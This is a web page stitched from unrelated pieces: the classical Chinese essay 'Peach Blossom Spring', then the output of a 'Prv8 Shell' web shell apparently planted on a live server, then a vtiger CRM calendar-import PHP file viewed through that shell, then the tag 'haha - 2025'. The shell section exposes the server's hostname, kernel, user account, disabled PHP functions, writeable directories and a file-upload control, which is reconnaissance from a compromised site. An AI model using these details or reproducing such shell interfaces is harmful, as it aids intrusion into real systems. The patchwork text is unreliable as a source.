晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/modules/Calendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/modules/Calendar/iCalImport.php
<?php
/* +**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 * ***********************************************************************************/

define('_BENNU_VERSION', '0.1');
require_once('Smarty_setup.php');
include('modules/Calendar/iCal/iCalendar_rfc2445.php');
include('modules/Calendar/iCal/iCalendar_components.php');
include('modules/Calendar/iCal/iCalendar_properties.php');
include('modules/Calendar/iCal/iCalendar_parameters.php');
include('modules/Calendar/iCal/ical-parser-class.php');
require_once('include/Zend/Json.php');
require_once('modules/Calendar/iCalLastImport.php');

require_once('include/utils/utils.php');
require_once('data/CRMEntity.php');

global $import_dir,$current_user,$mod_strings,$app_strings,$currentModule;

if($_REQUEST['step']!='undo'){
	$last_import = new iCalLastImport();
	$last_import->clearRecords($current_user->id);
	$file_details = $_FILES['ics_file'];
	$binFile = 'vtiger_import'.date('YmdHis');
	$file = $import_dir.''.$binFile;
	$filetmp_name = $file_details['tmp_name'];
	$upload_status = move_uploaded_file($filetmp_name,$file);

	$skip_fields = array(
		'Events'=>array('duration_hours'),
		'Calendar'=>array('eventstatus')
	);
	$required_fields = array();

	$modules = array('Events','Calendar');
	foreach($modules as $module){
		$calendar = CRMEntity::getInstance('Calendar');
		$calendar->initRequiredFields($module);
		$val = array_keys($calendar->required_fields);
		$required_fields[$module] = array_diff($val,$skip_fields[$module]);
	}

	$ical = new iCal();
	$ical_activities = $ical->iCalReader($binFile);

	$count['Events'] = $count['Calendar'] = $skip_count['Events'] = $skip_count['Calendar'] = 0;
	for($i=0;$i<count($ical_activities);$i++){
		if($ical_activities[$i]['TYPE'] == 'VEVENT'){
			$activity = new iCalendar_event;
			$module = 'Events';
		} else {
			$activity = new iCalendar_todo;
			$module = 'Calendar';
		}

		$count[$module]++;
		$calendar = CRMEntity::getInstance('Calendar');
		$calendar->column_fields = $activity->generateArray($ical_activities[$i]);
		$calendar->column_fields['assigned_user_id'] = $current_user->id;
		$skip_record = false;
		foreach($required_fields[$module] as $key){
			if(empty($calendar->column_fields[$key])){
				$skip_count[$module]++;
				$skip_record = true;
				break;
			}
		}
		if($skip_record === true) {
			continue;
		}
		$calendar->save('Calendar');
		$last_import = new iCalLastImport();
		$last_import->setFields(array('userid' => $current_user->id,
									'entitytype' => 'Calendar',
									'crmid' => $calendar->id));
		$last_import->save();
		if(!empty($ical_activities[$i]['VALARM'])){
			$calendar->activity_reminder($calendar->id,$calendar->column_fields['reminder_time'],0,'','');
		}
	}
	unlink($file);
	$smarty->assign("IMAGE_PATH", $last_imported);
	$smarty = new vtigerCRM_Smarty;

	$smarty->assign("MOD", $mod_strings);
	$smarty->assign("APP", $app_strings);
	$smarty->assign("IMP", $import_mod_strings);
	$smarty->assign("THEME", $theme);
	$smarty->assign("IMAGE_PATH", $image_path);
	$parent_tab = vtlib_purify($_SESSION['import_parenttab']);
	if(empty($parent_Tab)){
		$parent_tab = getParentTab();
	}
	$smarty->assign("MODULE", vtlib_purify($_REQUEST['module']));
	$smarty->assign("SINGLE_MOD", vtlib_purify($_REQUEST['module']));
	$smarty->assign("CATEGORY", $parent_tab);
	//@session_unregister("import_parenttab");
		$smarty->display("Buttons_List1.tpl");

	$imported_events = $count['Events'] - $skip_count['Events'];
	$imported_tasks = $count['Calendar'] - $skip_count['Calendar'];
	 $message= "<b>".$mod_strings['LBL_SUCCESS']."</b>"
	 			."<br><br>" .$mod_strings['LBL_SUCCESS_EVENTS_1']."  $imported_events"
	 			."<br><br>" .$mod_strings['LBL_SKIPPED_EVENTS_1'].$skip_count['Events']
	 			."<br><br>" .$mod_strings['LBL_SUCCESS_CALENDAR_1']."  $imported_tasks"
	 			."<br><br>" .$mod_strings['LBL_SKIPPED_CALENDAR_1'].$skip_count['Calendar']
	 			."<br><br>";

	$smarty->assign("MESSAGE", $message);
	$smarty->assign("RETURN_MODULE", $currentModule);
	$smarty->assign("RETURN_ACTION", 'ListView');
	$smarty->assign("MODULE", $currentModule);
	$smarty->assign("MODULENAME", $currentModule);
	$smarty->display("iCalImport.tpl");

} else {
	$smarty->assign("IMAGE_PATH", $last_imported);
	$smarty = new vtigerCRM_Smarty;

	$smarty->assign("MOD", $mod_strings);
	$smarty->assign("APP", $app_strings);
	$smarty->assign("IMP", $import_mod_strings);
	$smarty->assign("THEME", $theme);
	$smarty->assign("IMAGE_PATH", $image_path);
	$parent_tab = vtlib_purify($_SESSION['import_parenttab']);
	if(empty($parent_Tab)){
		$parent_tab = getParentTab();
	}
	$smarty->assign("MODULE", vtlib_purify($_REQUEST['module']));
	$smarty->assign("SINGLE_MOD", vtlib_purify($_REQUEST['module']));
	$smarty->assign("CATEGORY", $parent_tab);
	//@session_unregister("import_parenttab");
		$smarty->display("Buttons_List1.tpl");

	$last_import = new iCalLastImport();
	$ret_value = $last_import->undo('Calendar', $current_user->id);

	if(!empty($ret_value)){
	 $message= "<b>".$mod_strings['LBL_SUCCESS']."</b>"
	 			."<br><br>" .$mod_strings['LBL_LAST_IMPORT_UNDONE']." ";
	} else {
	 $message= "<b>".$mod_strings['LBL_FAILURE']."</b>"
	 			."<br><br>" .$mod_strings['LBL_NO_IMPORT_TO_UNDO']." ";
	}

	$smarty->assign("MESSAGE", $message);
	$smarty->assign("UNDO", 'yes');
	$smarty->assign("RETURN_MODULE", $currentModule);
	$smarty->assign("RETURN_ACTION", 'ListView');
	$smarty->assign("MODULE", $currentModule);
	$smarty->assign("MODULENAME", $currentModule);
	$smarty->display("iCalImport.tpl");
}
?>

haha - 2025